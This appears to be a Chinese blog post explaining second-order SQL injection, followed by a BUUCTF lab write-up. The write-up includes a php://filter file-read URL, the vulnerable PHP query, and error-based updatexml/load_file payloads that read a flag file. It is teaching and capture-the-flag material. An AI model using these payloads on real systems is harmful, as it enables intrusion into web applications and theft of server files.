SQL注入之二次注入

二次注入

二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,工次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。(二次注入多为字符型注入)
二次注入原理
 二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes, 或者是借助 get magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes,有一个特点就是虽然参数在过滤后会添加“\”进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.

插入恶意数据库->引用恶意数据(潜伏)

在测试中,应先确定网站是否有过滤(一般都有)然后寻找注入点,一般邮箱,注册,修改密码,文章添加,编辑出现概率大

此次靶机来自buuctf

查看源代码后发现有file参数

在url中输入:?file=php://filter/read=convert.base64-encode/resource=index.php

导出为base64编码并解码获得源代码(感谢csdn)

此网页有index,confirm,delete,change网页,逻辑是index.php->confirm.php

经过筛查,发现change.php存在注入(无转义函数)

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

        $msg = 'no sql inject!';

    }else{

        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";

        $fetch = $db->query($sql);

    }

开始注入

使用报错注入

1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

之后修改订单读取flag

1'and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,30)),0x7e),1)#

重新注入获得后半段

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值